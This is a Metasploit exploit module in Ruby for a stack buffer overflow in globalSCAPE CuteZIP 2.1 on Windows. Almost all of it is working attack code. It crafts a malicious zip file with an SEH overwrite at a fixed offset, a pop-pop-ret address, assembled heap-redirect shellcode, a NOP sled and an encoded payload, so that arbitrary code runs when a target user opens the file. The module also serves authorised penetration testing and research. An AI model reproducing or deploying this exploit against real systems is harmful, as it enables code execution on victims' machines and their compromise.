globalSCAPE CuteZIP Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex/zip'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'globalSCAPE CuteZIP Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in version 2.1  
of CuteZIP.  
  
In order for the command to be executed, an attacker must convince the target user  
to open a specially crafted zip file with CuteZIP. By doing so, an attacker can  
execute arbitrary code as the target user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Initial discovery, poc  
'juan vazquez' # Metasploit  
],  
'References' =>  
[  
[ 'BID', '46375' ],  
[ 'EDB', '16162' ],  
],  
'Platform' => [ 'win' ],  
'Payload' =>  
{  
'BadChars' => "",  
'DisableNops' => true,  
'Space' => 3000 # Limit due to the heap chunk size where the payload is stored  
},  
'Targets' =>  
[  
[  
# Tested successfully on:  
# * Windows XP SP3  
# * Windows Vista SP2  
# * Windows 7 SP1  
# (NO DEP)  
'CuteZIP 2.1 / Windows Universal',  
{  
'Ret' => 0x0040112F, # pop, pop, ret from CuteZIP.exe  
'Offset' => 1148,  
'Nops' => 398  
}  
],  
],  
'DisclosureDate' => 'Feb 12 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])  
], self.class)  
  
end  
  
def exploit  
  
redirect_heap = <<-ASM  
popad  
popad  
popad  
push ecx  
pop eax  
call eax  
ASM  
  
crafted_file = rand_text(target['Offset'])  
crafted_file << generate_seh_record(target.ret)  
crafted_file << Metasm::Shellcode.assemble(Metasm::Ia32.new, redirect_heap).encode_string  
crafted_file << make_nops(1) * target['Nops']  
crafted_file << payload.encoded  
  
# Create the file  
zip = Rex::Zip::Archive.new  
xtra = rand_text(4)  
zip.add_file(crafted_file, xtra)  
  
print_status("Creating '#{datastore['FILENAME']}' file...")  
file_create(zip.pack)  
end  
  
end  
`